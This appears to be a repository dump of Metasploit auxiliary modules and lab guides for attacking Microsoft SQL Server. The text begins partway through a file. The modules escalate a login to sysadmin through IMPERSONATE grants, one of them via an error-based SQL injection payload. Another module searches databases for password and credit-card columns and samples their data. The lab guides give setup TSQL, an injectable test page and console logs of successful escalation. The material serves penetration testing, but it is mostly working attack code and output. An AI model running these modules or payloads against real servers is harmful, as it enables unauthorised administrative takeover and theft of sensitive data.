| print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") 30 | if mssql_login_datastore 31 | print_good('Connected.') 32 | else 33 | print_error('Login was unsuccessful. Check your credentials.') 34 | disconnect 35 | return 36 | end 37 | 38 | # Query for sysadmin status 39 | print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...") 40 | user_status = check_sysadmin 41 | 42 | # Check if user has sysadmin role 43 | if user_status == 1 44 | print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.") 45 | disconnect 46 | return 47 | else 48 | print_status("You're NOT a sysadmin, let's try to change that.") 49 | end 50 | 51 | # Get a list of the users that can be impersonated 52 | print_status("Enumerating a list of users that can be impersonated...") 53 | imp_user_list = check_imp_users 54 | if imp_user_list.nil? || imp_user_list.length == 0 55 | print_error('Sorry, the current user doesnt have permissions to impersonate anyone.') 56 | disconnect 57 | return 58 | else 59 | # Display list of accessible databases to user 60 | print_good("#{imp_user_list.length} users can be impersonated:") 61 | imp_user_list.each do |db| 62 | print_status(" - #{db[0]}") 63 | end 64 | end 65 | 66 | # Check if any of the users that can be impersonated are sysadmins 67 | print_status('Checking if any of them are sysadmins...') 68 | imp_user_sysadmin = check_imp_sysadmin(imp_user_list) 69 | if imp_user_sysadmin.nil? 70 | print_error("Sorry, none of the users that can be impersonated are sysadmins.") 71 | disconnect 72 | return 73 | end 74 | 75 | # Attempt to escalate to sysadmin 76 | print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...") 77 | escalate_status = escalate_privs(imp_user_sysadmin[0]) 78 | if escalate_status 79 | # Check if escalation was successful 80 | user_status = check_sysadmin 81 | if user_status == 1 82 | print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.") 83 | else 84 | print_error("Fail buckets, something went wrong.") 85 | end 86 | else 87 | print_error("Error while trying to escalate privileges.") 88 | end 89 | 90 | disconnect 91 | return 92 | end 93 | 94 | # Checks if user is a sysadmin 95 | def check_sysadmin 96 | # Setup query to check for sysadmin 97 | sql = "select is_srvrolemember('sysadmin') as IsSysAdmin" 98 | 99 | # Run query 100 | result = mssql_query(sql) 101 | 102 | # Parse query results 103 | parse_results = result[:rows] 104 | status = parse_results[0][0] 105 | 106 | # Return status 107 | return status 108 | end 109 | 110 | # Gets trusted databases owned by sysadmins 111 | def check_imp_users 112 | # Setup query 113 | sql = "SELECT DISTINCT b.name 114 | FROM sys.server_permissions a 115 | INNER JOIN sys.server_principals b 116 | ON a.grantor_principal_id = b.principal_id 117 | WHERE a.permission_name = 'IMPERSONATE'" 118 | 119 | result = mssql_query(sql) 120 | 121 | # Return on success 122 | return result[:rows] 123 | end 124 | 125 | # Checks if user has the db_owner role 126 | def check_imp_sysadmin(trust_db_list) 127 | # Check if the user has the db_owner role is any databases 128 | trust_db_list.each do |imp_user| 129 | # Setup query 130 | sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status" 131 | 132 | # Run query 133 | result = mssql_query(sql) 134 | 135 | # Parse query results 136 | parse_results = result[:rows] 137 | status = parse_results[0][0] 138 | if status == 1 139 | print_good(" - #{imp_user[0]} is a sysadmin!") 140 | return imp_user 141 | else 142 | print_status(" - #{imp_user[0]} is NOT sysadmin!") 143 | end 144 | end 145 | nil 146 | end 147 | 148 | def escalate_privs(imp_user_sysadmin) 149 | # Create the evil stored procedure WITH EXECUTE AS OWNER 150 | evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}'; 151 | EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';" 152 | 153 | mssql_query(evil_sql_create) 154 | 155 | true 156 | end 157 | end 158 | -------------------------------------------------------------------------------- /mssql_escalate_executeas_lab_setup.txt: -------------------------------------------------------------------------------- 1 | SQL Server: Escalating privileges using EXCUTE AS 2 | Lab Setup Guide 3 | 4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_escalate_executeas module. 5 | 6 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx 7 | 8 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab. 9 | 10 | 3. Make sure to enable the tcp protocol so that module can connect to the listener. 11 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx 12 | 13 | 4. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application. 14 | 15 | 5. Press the "New Query" button and use the TSQL below to create a new users for the lab. 16 | 17 | -- Create login 1 18 | CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!'; 19 | 20 | -- Create login 2 21 | CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!'; 22 | 23 | -- Create login 3 24 | CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!'; 25 | 26 | 6. Provide the MyUser1 login with permissions to impersonate MyUser2, MyUser3, and sa. 27 | USE master; 28 | GRANT IMPERSONATE ON LOGIN::sa to [MyUser1]; 29 | GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1]; 30 | GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1]; 31 | GO 32 | 33 | 7. Log into the SQL Server using the MyUser1 account. 34 | 35 | 8. Press the "New Query" button and use the TSQL below to confirm the permissions were added. 36 | 37 | SELECT b.name 38 | FROM sys.server_permissions a 39 | INNER JOIN sys.server_principals b 40 | ON a.grantor_principal_id = b.principal_id 41 | WHERE a.permission_name = 'IMPERSONATE' 42 | 43 | 9. Test out the impersonate in another query window with the TSQL below. 44 | 45 | select SYSTEM_USER 46 | select IS_SRVROLEMEMBER('sysadmin') 47 | execute as login = 'sa' 48 | select SYSTEM_USER 49 | select IS_SRVROLEMEMBER('sysadmin') 50 | revert 51 | select SYSTEM_USER 52 | select IS_SRVROLEMEMBER('sysadmin') 53 | 54 | 10. Test out the module. 55 | 56 | use auxiliary/admin/mssql/mssql_esclaate_executeas 57 | set rhosts 58 | set rport 59 | set username MyUser1 60 | set password MyPassword! 61 | run 62 | 63 | msf auxiliary(mssql_escalate_executeas) > run 64 | 65 | [*] Attempting to connect to the database server at 127.0.0.1:1171 as MyUser1... 66 | [+] Connected. 67 | [*] Checking if MyUser1 has the sysadmin role... 68 | [*] You're NOT a sysadmin, let's try to change that. 69 | [*] Enumerating a list of users that can be impersonated... 70 | [+] 3 users can be impersonated: 71 | [*] - sa 72 | [*] - MyUser2 73 | [*] - MyUser3 74 | [*] Checking if any of them are sysadmins... 75 | [+] - sa is a sysadmin! 76 | [*] Attempting to impersonate sa... 77 | [+] Congrats, MyUser1 is now a sysadmin!. 78 | [*] Auxiliary module execution completed 79 | 80 | 81 | msf auxiliary(mssql_escalate_executeas) > run 82 | 83 | [*] Attempting to connect to the database server at 127.0.0.1:1171 as MyUser1... 84 | [+] Connected. 85 | [*] Checking if MyUser1 has the sysadmin role... 86 | [+] MyUser1 has the sysadmin role, no escalation required. 87 | [*] Auxiliary module execution completed 88 | msf auxiliary(mssql_escalate_executeas) > run 89 | -------------------------------------------------------------------------------- /mssql_escalate_executeas_sqli.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'msf/core/exploit/mssql_commands' 8 | 9 | class Metasploit3 < Msf::Auxiliary 10 | 11 | include Msf::Exploit::Remote::MSSQL_SQLI 12 | include Msf::Auxiliary::Report 13 | 14 | def initialize(info = {}) 15 | super(update_info(info, 16 | 'Name' => 'Microsoft SQL Server - SQLi Escalate Execute As', 17 | 'Description' => %q{ 18 | This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user 19 | via error based SQL injection. In most cases this results in additional data access, but in some cases it can be used to gain sysadmin 20 | privileges. 21 | 22 | The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];-- 23 | }, 24 | 'Author' => [ 'nullbind '], 25 | 'License' => MSF_LICENSE, 26 | 'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']] 27 | )) 28 | end 29 | 30 | def run 31 | # Get the database user name 32 | print_status("#{peer} - Grabbing the database user name...") 33 | db_user = get_username 34 | if db_user.nil? 35 | print_error("#{peer} - Unable to grab user name...") 36 | return 37 | else 38 | print_good("#{peer} - Database user: #{db_user}") 39 | end 40 | 41 | # Grab sysadmin status 42 | print_status("#{peer} - Checking if #{db_user} is already a sysadmin...") 43 | admin_status = check_sysadmin 44 | 45 | if admin_status.nil? 46 | print_error("#{peer} - Couldn't retrieve user status, aborting...") 47 | return 48 | elsif admin_status == '1' 49 | print_error("#{peer} - #{db_user} is already a sysadmin, no escalation needed.") 50 | return 51 | else 52 | print_status("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.") 53 | end 54 | 55 | # Get list of users that can be impersonated 56 | print_status("#{peer} - Enumerating a list of users that can be impersonated...") 57 | imp_user_list = check_imp_users 58 | if imp_user_list.nil? || imp_user_list.length == 0 59 | print_error('#{peer} - Sorry, the current user doesnt have permissions to impersonate anyone.') 60 | return 61 | else 62 | # Display list of users that can be impersonated 63 | print_good("#{peer} - #{imp_user_list.length} users can be impersonated:") 64 | imp_user_list.each do |dbuser| 65 | print_status("#{peer} - #{dbuser}") 66 | end 67 | end 68 | 69 | # Check if any of the users that can be impersonated are sysadmins 70 | print_status("#{peer} - Checking if any of them are sysadmins...") 71 | imp_user_sysadmin = check_imp_sysadmin(imp_user_list) 72 | if imp_user_sysadmin.nil? 73 | print_error("#{peer} - Sorry, none of the users that can be impersonated are sysadmins.") 74 | return 75 | end 76 | 77 | # Attempt to escalate to sysadmin 78 | print_status("#{peer} - Attempting to impersonate #{imp_user_sysadmin}...") 79 | escalate_privs(imp_user_sysadmin,db_user) 80 | 81 | admin_status = check_sysadmin 82 | if admin_status && admin_status == '1' 83 | print_good("#{peer} - Success! #{db_user} is now a sysadmin!") 84 | else 85 | print_error("#{peer} - Fail buckets, something went wrong.") 86 | end 87 | end 88 | 89 | def peer 90 | "#{rhost}:#{rport}" 91 | end 92 | 93 | def get_username 94 | # Setup query to check for database username 95 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) 96 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) 97 | sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')" 98 | 99 | # Run query 100 | result = mssql_query(sql) 101 | 102 | # Parse result 103 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ 104 | user_name = $1 105 | else 106 | user_name = nil 107 | end 108 | 109 | user_name 110 | end 111 | 112 | def check_sysadmin 113 | # Setup query to check for sysadmin 114 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) 115 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) 116 | sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')" 117 | 118 | # Run query 119 | result = mssql_query(sql) 120 | 121 | # Parse result 122 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/ 123 | status = $1 124 | else 125 | status = nil 126 | end 127 | 128 | status 129 | end 130 | 131 | def check_imp_users 132 | # Setup query to check for trusted databases owned by sysadmins 133 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) 134 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) 135 | 136 | # Setup query 137 | sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}' 138 | FROM sys.server_permissions a 139 | INNER JOIN sys.server_principals b 140 | ON a.grantor_principal_id = b.principal_id 141 | WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))" 142 | 143 | # Run query 144 | res = mssql_query(sql) 145 | 146 | unless res && res.body 147 | return nil 148 | end 149 | 150 | #Parse results 151 | parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m) 152 | 153 | if parsed_result && !parsed_result.empty? 154 | parsed_result.flatten! 155 | parsed_result.uniq! 156 | end 157 | 158 | parsed_result 159 | end 160 | 161 | def check_imp_sysadmin(imp_user_list) 162 | # Check if the user has the db_owner role is any databases 163 | imp_user_list.each do |imp_user| 164 | # Setup query 165 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) 166 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4)) 167 | 168 | sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')" 169 | 170 | # Run query 171 | result = mssql_query(sql) 172 | 173 | unless result && result.body 174 | next 175 | end 176 | 177 | #Parse results 178 | parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m) 179 | 180 | if parsed_result && !parsed_result.empty? 181 | parsed_result.flatten! 182 | parsed_result.uniq! 183 | end 184 | 185 | # check if user is a sysadmin 186 | if parsed_result[0] == '1' 187 | print_good("#{peer} - #{imp_user} is a sysadmin!") 188 | return imp_user 189 | else 190 | print_status("#{peer} - #{imp_user} is NOT a sysadmin") 191 | end 192 | end 193 | 194 | nil 195 | end 196 | 197 | # Attempt to escalate privileges 198 | def escalate_privs(imp_user,db_user) 199 | 200 | # Setup Query - Impersonate the first sysadmin user on the list 201 | evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--" 202 | 203 | # Execute Query 204 | result = mssql_query(evil_sql) 205 | end 206 | end 207 | -------------------------------------------------------------------------------- /mssql_escalate_executeas_sqli_lab_setup.txt: -------------------------------------------------------------------------------- 1 | SQL Server: Escalating privileges using EXCUTE AS via SQLi 2 | Lab Setup Guide 3 | 4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_escalate_executeas_sqli module. 5 | 6 | ---------------------- 7 | Database Setup 8 | ---------------------- 9 | 10 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx 11 | 12 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab. 13 | 14 | 3. Make sure to enable the tcp protocol so that module can connect to the listener. 15 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx 16 | 17 | 4. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application. 18 | 19 | 5. Press the "New Query" button and use the TSQL below to create a new users for the lab. 20 | 21 | -- Create login 1 22 | CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!'; 23 | 24 | -- Create login 2 25 | CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!'; 26 | 27 | -- Create login 3 28 | CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!'; 29 | 30 | 6. Provide the MyUser1 login with permissions to impersonate MyUser2, MyUser3, and sa. 31 | USE master; 32 | GRANT IMPERSONATE ON LOGIN::sa to [MyUser1]; 33 | GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1]; 34 | GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1]; 35 | GO 36 | 37 | 7. Press the "New Query" button and use the TSQL below to create a database named "MyAppDb" for the lab. 38 | 39 | -- Create database 40 | CREATE DATABASE MyAppDb 41 | 42 | 8. Add a table with records 43 | 44 | -- Create table 45 | CREATE TABLE dbo.NOCList 46 | (ID INT IDENTITY PRIMARY KEY,SpyName varchar(MAX) NOT NULL,RealName varchar(MAX) NULL) 47 | 48 | -- Add sample records to table 49 | INSERT dbo.NOCList (SpyName, RealName) 50 | VALUES ('James Bond','Sean Connery') 51 | INSERT dbo.NOCList (SpyName, RealName) 52 | VALUES ('Ethan Hunt','Tom Cruise') 53 | INSERT dbo.NOCList (SpyName, RealName) 54 | VALUES ('Jason Bourne','Matt Damon') 55 | 56 | 9. Press the "New Query" button and use the TSQL below to assign "MyUser1" the "db_owner" role in the "MyAppDb" database. 57 | 58 | -- Setup MyAppUsers the db_owner role in MyAppDb 59 | USE MyAppDb 60 | ALTER LOGIN [MyUser1] with default_database = [MyAppDb]; 61 | CREATE USER [MyUser1] FROM LOGIN [MyUser1]; 62 | EXEC sp_addrolemember [db_owner], [MyUser1]; 63 | 64 | 10. Log into the SQL Server using the MyUser1 account. 65 | 66 | 11. Press the "New Query" button and use the TSQL below to confirm the permissions were added. 67 | 68 | SELECT b.name 69 | FROM sys.server_permissions a 70 | INNER JOIN sys.server_principals b 71 | ON a.grantor_principal_id = b.principal_id 72 | WHERE a.permission_name = 'IMPERSONATE' 73 | 74 | 12. Test out the impersonate in another query window with the TSQL below. 75 | 76 | select SYSTEM_USER 77 | select IS_SRVROLEMEMBER('sysadmin') 78 | execute as login = 'sa' 79 | select SYSTEM_USER 80 | select IS_SRVROLEMEMBER('sysadmin') 81 | revert 82 | select SYSTEM_USER 83 | select IS_SRVROLEMEMBER('sysadmin') 84 | 85 | 86 | ---------------- 87 | Web Server Setup 88 | ---------------- 89 | 1. Setup a local IIS server 90 | 2. Make sure its configured to process asp pages 91 | 3. Download testing.asp to web root from https://raw.githubusercontent.com/nullbind/Metasploit-Modules/master/testing2.asp 92 | 4. Verify the page works by accessing: http://127.0.0.1/testing2.asp?id=1 93 | 5. Verify the id parameter is injectable and error are returned: http://127.0.0.1/testing2.asp?id=@@version 94 | 95 | 96 | ------------------------- 97 | Test MSF Module 98 | ------------------------- 99 | 1. Test out the module. Verify escalation works. 100 | 101 | use auxiliary/admin/mssql/mssql_esclate_executeas_sqli 102 | set rhost 103 | set rport 104 | set GET_PATH /testing2.asp?id=1+and+1=[SQLi];-- 105 | 106 | msf auxiliary(mssql_escalate_executeas_sqli) > run 107 | 108 | [*] 10.2.9.101:80 - Grabbing the database user name... 109 | [+] 10.2.9.101:80 - Database user: MyUser1 110 | [*] 10.2.9.101:80 - Checking if MyUser1 is already a sysadmin... 111 | [*] 10.2.9.101:80 - MyUser1 is NOT a sysadmin, let's try to escalate privileges. 112 | [*] 10.2.9.101:80 - Enumerating a list of users that can be impersonated... 113 | [+] 10.2.9.101:80 - 3 users can be impersonated: 114 | [*] 10.2.9.101:80 - MyUser2 115 | [*] 10.2.9.101:80 - MyUser3 116 | [*] 10.2.9.101:80 - sa 117 | [*] 10.2.9.101:80 - Checking if any of them are sysadmins... 118 | [*] 10.2.9.101:80 - MyUser2 is NOT a sysadmin 119 | [*] 10.2.9.101:80 - MyUser3 is NOT a sysadmin 120 | [+] 10.2.9.101:80 - sa is a sysadmin! 121 | [*] 10.2.9.101:80 - Attempting to impersonate sa... 122 | [+] 10.2.9.101:80 - Success! MyUser1 is now a sysadmin! 123 | [*] Auxiliary module execution completed 124 | 125 | 2. Test out the module. Verify that module stops if your already a sysadmin. 126 | 127 | msf auxiliary(mssql_escalate_executeas_sqli) > run 128 | 129 | [*] 10.2.9.101:80 - Grabbing the database user name... 130 | [+] 10.2.9.101:80 - Database user: MyUser1 131 | [*] 10.2.9.101:80 - Checking if MyUser1 is already a sysadmin... 132 | [-] 10.2.9.101:80 - MyUser1 is already a sysadmin, no escalation needed. 133 | [*] Auxiliary module execution completed 134 | msf auxiliary(mssql_escalate_executeas_sqli) > 135 | -------------------------------------------------------------------------------- /mssql_findandsampledata.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | 4 | class Metasploit3 < Msf::Auxiliary 5 | 6 | include Msf::Exploit::Remote::MSSQL 7 | include Msf::Auxiliary::Scanner 8 | include Msf::Auxiliary::Report 9 | 10 | def initialize(info = {}) 11 | super(update_info(info, 12 | 'Name' => 'Microsoft SQL Server - Find and Sample Data', 13 | 'Description' => %q{This script will search through all of the non-default databases 14 | on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS 15 | option. If column names are found that match the defined keywords and data is present 16 | in the associated tables, the script will select a sample of the records from each of 17 | the affected tables. The sample size is determined by the SAMPLE_SIZE option, and results 18 | output in a CSV format. 19 | 20 | Thank you Dijininja for the IDF module which was my inspiration 21 | for this. Also, thank you humble-desser, DarkOperator, HDM, and especially todb for 22 | helping me refine this MSF Module. 23 | }, 24 | 'Author' => [ 'Scott Sutherland (nullbind) ' ], 25 | 'License' => MSF_LICENSE, 26 | 'References' => [[ 'URL', 'http://www.netspi.com/blog/author/ssutherland/' ]], 27 | 'Targets' => [[ 'MSSQL 2005', { 'ver' => 2005 }]] 28 | )) 29 | 30 | register_options( 31 | [ 32 | OptString.new('KEYWORDS', [ true, 'Keywords to search for','passw|credit|card']), 33 | OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', '1']), 34 | ], self.class) 35 | end 36 | 37 | def print_with_underline(str) 38 | print_line(str) 39 | print_line("=" * str.length) 40 | end 41 | 42 | def run_host(ip) 43 | sql_statement() 44 | end 45 | 46 | def sql_statement() 47 | 48 | #DEFINED HEADER TEXT 49 | headings = [ 50 | ["Server","Database", "Schema", "Table", "Column", "Data Type", "Sample Data","Row Count"] 51 | ] 52 | 53 | #DEFINE SEARCH QUERY AS VARIABLE 54 | sql = " 55 | -- CHECK IF VERSION IS COMPATABLE = > than 2000 56 | IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1, 57 | CHARINDEX('.',cast(SERVERPROPERTY('ProductVersion') as VARCHAR),1)-1)) > 0 58 | BEGIN 59 | 60 | -- TURN OFF ROW COUNT 61 | SET NOCOUNT ON; 62 | -------------------------------------------------- 63 | -- SETUP UP SAMPLE SIZE 64 | -------------------------------------------------- 65 | DECLARE @SAMPLE_COUNT varchar(800); 66 | SET @SAMPLE_COUNT = '#{datastore['SAMPLE_SIZE']}'; 67 | 68 | -------------------------------------------------- 69 | -- SETUP KEYWORDS TO SEARCH 70 | -------------------------------------------------- 71 | DECLARE @KEYWORDS varchar(800); 72 | SET @KEYWORDS = '#{datastore['KEYWORDS']}|'; 73 | 74 | -------------------------------------------------- 75 | --SETUP WHERE STATEMENT CONTAINING KEYWORDS 76 | -------------------------------------------------- 77 | DECLARE @SEARCH_TERMS varchar(800); 78 | SET @SEARCH_TERMS = ''; -- Leave this blank 79 | 80 | -- START WHILE LOOP HERE -- BEGIN TO ITTERATE THROUGH KEYWORDS 81 | 82 | WHILE LEN(@KEYWORDS) > 0 83 | BEGIN 84 | --SET VARIABLES UP FOR PARSING PROCESS 85 | DECLARE @change int 86 | DECLARE @keyword varchar(800) 87 | 88 | --SET KEYWORD CHANGE TRACKER 89 | SELECT @change = CHARINDEX('|',@KEYWORDS); 90 | 91 | --PARSE KEYWORD 92 | SELECT @keyword = SUBSTRING(@KEYWORDS,0,@change) ; 93 | 94 | -- PROCESS KEYWORD AND GENERATE WHERE CLAUSE FOR IT 95 | SELECT @SEARCH_TERMS = 'LOWER(COLUMN_NAME) like ''%'+@keyword+'%'' or '+@SEARCH_TERMS 96 | 97 | -- REMOVE PROCESSED KEYWORD 98 | SET @KEYWORDS = SUBSTRING(@KEYWORDS,@change+1,LEN(@KEYWORDS)); 99 | 100 | END 101 | -- REMOVE UNEEDED 102 | SELECT @SEARCH_TERMS = SUBSTRING(@SEARCH_TERMS,0,LEN(@SEARCH_TERMS)-2); 103 | 104 | -------------------------------------------------- 105 | -- CREATE GLOBAL TEMP TABLES 106 | -------------------------------------------------- 107 | USE master; 108 | 109 | IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable; 110 | IF OBJECT_ID('tempdb..##mytable') IS NULL 111 | BEGIN 112 | CREATE TABLE ##mytable ( 113 | server_name varchar(800), 114 | database_name varchar(800), 115 | table_schema varchar(800), 116 | table_name varchar(800), 117 | column_name varchar(800), 118 | column_data_type varchar(800) 119 | ) 120 | END 121 | 122 | IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2; 123 | IF OBJECT_ID('tempdb..##mytable2') IS NULL 124 | BEGIN 125 | CREATE TABLE ##mytable2 ( 126 | server_name varchar(800), 127 | database_name varchar(800), 128 | table_schema varchar(800), 129 | table_name varchar(800), 130 | column_name varchar(800), 131 | column_data_type varchar(800), 132 | column_value varchar(800), 133 | column_data_row_count varchar(800) 134 | ) 135 | END 136 | 137 | -------------------------------------------------- 138 | -- CURSOR1 139 | -- ENUMERATE COLUMNS FROM EACH DATABASE THAT 140 | -- CONTAIN KEYWORD AND WRITE THEM TO A TEMP TABLE 141 | -------------------------------------------------- 142 | 143 | -- SETUP SOME VARIABLES FOR THE MYCURSOR1 144 | DECLARE @var1 varchar(800); 145 | DECLARE @var2 varchar(800); 146 | 147 | -------------------------------------------------------------------- 148 | -- CHECK IF ANY NON-DEFAULT DATABASE EXIST 149 | -------------------------------------------------------------------- 150 | IF (SELECT count(*) 151 | FROM master..sysdatabases 152 | WHERE name NOT IN ('master','tempdb','model','msdb') 153 | and HAS_DBACCESS(name) <> 0) <> 0 154 | BEGIN 155 | DECLARE MY_CURSOR1 CURSOR 156 | FOR 157 | 158 | SELECT name FROM master..sysdatabases 159 | WHERE name NOT IN ('master','tempdb','model','msdb') 160 | and HAS_DBACCESS(name) <> 0; 161 | 162 | OPEN MY_CURSOR1 163 | FETCH NEXT FROM MY_CURSOR1 INTO @var1 164 | WHILE @@FETCH_STATUS = 0 165 | BEGIN 166 | --------------------------------------------------- 167 | -- SEARCH FOR KEYWORDS/INSERT RESULTS INTO MYTABLE 168 | --------------------------------------------------- 169 | SET @var2 = ' 170 | INSERT INTO ##mytable 171 | SELECT @@SERVERNAME as SERVER_NAME, 172 | TABLE_CATALOG as DATABASE_NAME, 173 | TABLE_SCHEMA, 174 | TABLE_NAME, 175 | COLUMN_NAME, 176 | DATA_TYPE 177 | FROM ['+@var1+'].[INFORMATION_SCHEMA].[COLUMNS] WHERE ' 178 | 179 | --APPEND KEYWORDS TO QUERY 180 | DECLARE @fullquery varchar(800); 181 | SET @fullquery = @var2+@SEARCH_TERMS; 182 | 183 | EXEC(@fullquery); 184 | FETCH NEXT FROM MY_CURSOR1 INTO @var1 185 | 186 | END 187 | CLOSE MY_CURSOR1 188 | DEALLOCATE MY_CURSOR1 189 | ------------------------------------------------- 190 | -- CURSOR2 191 | -- TAKE A X RECORD SAMPLE FROM EACH OF THE COLUMNS 192 | -- THAT MATCH THE DEFINED KEYWORDS 193 | -- NOTE: THIS WILL NOT SAMPLE EMPTY TABLES 194 | ------------------------------------------------- 195 | 196 | IF (SELECT COUNT(*) FROM ##mytable) < 1 197 | BEGIN 198 | SELECT 'No columns where found that match the defined keywords.' as Message; 199 | END 200 | ELSE 201 | BEGIN 202 | DECLARE @var_server varchar(800) 203 | DECLARE @var_database varchar(800) 204 | DECLARE @var_table varchar(800) 205 | DECLARE @var_table_schema varchar(800) 206 | DECLARE @var_column_data_type varchar(800) 207 | DECLARE @var_column varchar(800) 208 | DECLARE @myquery varchar(800) 209 | DECLARE @var_column_data_row_count varchar(800) 210 | 211 | DECLARE MY_CURSOR2 CURSOR 212 | FOR 213 | SELECT server_name,database_name,table_schema,table_name,column_name,column_data_type 214 | FROM ##mytable 215 | 216 | OPEN MY_CURSOR2 217 | FETCH NEXT FROM MY_CURSOR2 INTO @var_server, 218 | @var_database, 219 | @var_table_schema, 220 | @var_table, 221 | @var_column, 222 | @var_column_data_type 223 | WHILE @@FETCH_STATUS = 0 224 | BEGIN 225 | ---------------------------------------------------------------------- 226 | -- ADD AFFECTED SERVER/SCHEMA/TABLE/COLUMN/DATATYPE/SAMPLE DATA TO MYTABLE2 227 | ---------------------------------------------------------------------- 228 | -- GET COUNT 229 | DECLARE @mycount_query as varchar(800); 230 | DECLARE @mycount as varchar(800); 231 | 232 | -- CREATE TEMP TABLE TO GET THE COLUMN DATA ROW COUNT 233 | IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount 234 | CREATE TABLE #mycount(mycount varchar(800)); 235 | 236 | -- SETUP AND EXECUTE THE COLUMN DATA ROW COUNT QUERY 237 | SET @mycount_query = 'INSERT INTO #mycount SELECT DISTINCT 238 | COUNT('+@var_column+') FROM '+@var_database+'. 239 | '+@var_table_schema+'.'+@var_table; 240 | EXEC(@mycount_query); 241 | 242 | -- SET THE COLUMN DATA ROW COUNT 243 | SELECT @mycount = mycount FROM #mycount; 244 | 245 | -- REMOVE TEMP TABLE 246 | IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount 247 | 248 | SET @myquery = ' 249 | INSERT INTO ##mytable2 250 | (server_name, 251 | database_name, 252 | table_schema, 253 | table_name, 254 | column_name, 255 | column_data_type, 256 | column_value, 257 | column_data_row_count) 258 | SELECT TOP '+@SAMPLE_COUNT+' ('''+@var_server+''') as server_name, 259 | ('''+@var_database+''') as database_name, 260 | ('''+@var_table_schema+''') as table_schema, 261 | ('''+@var_table+''') as table_name, 262 | ('''+@var_column+''') as comlumn_name, 263 | ('''+@var_column_data_type+''') as column_data_type, 264 | '+@var_column+','+@mycount+' as column_data_row_count 265 | FROM ['+@var_database+'].['+@var_table_schema++'].['+@var_table+'] 266 | WHERE '+@var_column+' IS NOT NULL; 267 | ' 268 | EXEC(@myquery); 269 | 270 | FETCH NEXT FROM MY_CURSOR2 INTO 271 | @var_server, 272 | @var_database, 273 | @var_table_schema, 274 | @var_table,@var_column, 275 | @var_column_data_type 276 | END 277 | CLOSE MY_CURSOR2 278 | DEALLOCATE MY_CURSOR2 279 | 280 | ----------------------------------- 281 | -- SELECT THE RESULTS OF THE SEARCH 282 | ----------------------------------- 283 | IF (SELECT @SAMPLE_COUNT)= 1 284 | BEGIN 285 | SELECT DISTINCT cast(server_name as CHAR) as server_name, 286 | cast(database_name as char) as database_name, 287 | cast(table_schema as char) as table_schema, 288 | cast(table_name as char) as table_schema, 289 | cast(column_name as char) as column_name, 290 | cast(column_data_type as char) as column_data_type, 291 